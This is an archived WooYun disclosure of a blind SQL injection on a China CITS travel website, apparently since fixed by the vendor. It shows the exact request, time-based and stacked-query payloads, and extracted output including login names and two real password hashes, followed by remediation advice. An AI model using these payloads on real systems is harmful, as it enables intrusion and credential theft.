当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129883

漏洞标题:中国国旅某站sql盲注漏洞

相关厂商:中国国旅

漏洞作者: Zacker

提交时间:2015-07-28 10:38

修复时间:2015-09-14 11:16

公开时间:2015-09-14 11:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-28: 细节已通知厂商并且等待厂商处理中
2015-07-31: 厂商已经确认,细节仅向厂商公开
2015-08-10: 细节向核心白帽子及相关领域专家公开
2015-08-20: 细节向普通白帽子公开
2015-08-30: 细节向实习白帽子公开
2015-09-14: 细节向公众公开

简要描述:

带来sql盲注一枚

详细说明:

站点uri:http://new.citsbj.com

POST /Personal/CancelOrder HTTP/1.1
Host: new.citsbj.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://new.citsbj.com/Personal/OrderCenter
Content-Length: 100
Cookie: citsbj_ssid=***
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
oid=70458&type=&reason=%E7%8E%B0%E5%9C%A8%E4%B8%8D%E6%83%B3%E8%B4%AD%E4%B9%B0&rnd=0.3115732066780511


reason参数为盲注点~

漏洞证明:

---
Place: POST
Parameter: reason
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: oid=70460&type=&reason=现在不想购买'; WAITFOR DELAY '0:0:5';-- AND 'EPOT'='EPOT&rnd=0.831191517823377
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: oid=70460&type=&reason=现在不想购买' WAITFOR DELAY '0:0:5'-- AND 'aMwg'='aMwg&rnd=0.831191517823377
---
the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
current user: 'sa'
current database: 'AwtripWeb'
users: ##MS_PolicyEventProcessingLogin## ##MS_PolicyTsqlExecutionLogin##
awtrip
distributor_admin
sa
[SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='##MS_PolicyEventProcessingLogin##' AND password_hash NOT IN (SELECT TOP 0 password_hash FROM sys.sql_logins WHERE name='##MS_PolicyEventProcessingLogin##' ORDER BY password_hash) ORDER BY password_hash][0x020091073b4ac756b3fbfcd74b30dd54681d5305a7e9cc8638d461f96230be0a5fa29fe6122afb3aaedb9743835de7bc64963bae41d1a3351c6eafe49e58c707d0bbdbf10659]
[SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='##MS_PolicyTsqlExecutionLogin##' AND password_hash NOT IN (SELECT TOP 0 password_hash FROM sys.sql_logins WHERE name='##MS_PolicyTsqlExecutionLogin##' ORDER BY password_hash) ORDER BY password_hash][0x0200c16f8f3cda9cb77950589873e7a286c1520d93387127216eaaa494269d7a7328db29a34e26927f4c842109dc355fbc5868b0377afb63cd9a0e50c7a7d1f76499a0fc30bf]


用户名、数据库名、密码hash(盲注太慢了,只跑了两个用户的密码hash,但是能说明问题了)

修复方案:

sql注入修复嘛,你们比我懂!
1、特殊符号转义、过滤
2、参数化查询
3、要遵循最小权限原则,别用sa用户!!

版权声明:转载请注明来源 Zacker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-31 11:15

厂商回复:

非常感谢您的报告,问题已处理,十分感谢您对中国国旅的支持。

最新状态:

暂无


漏洞评价:

评论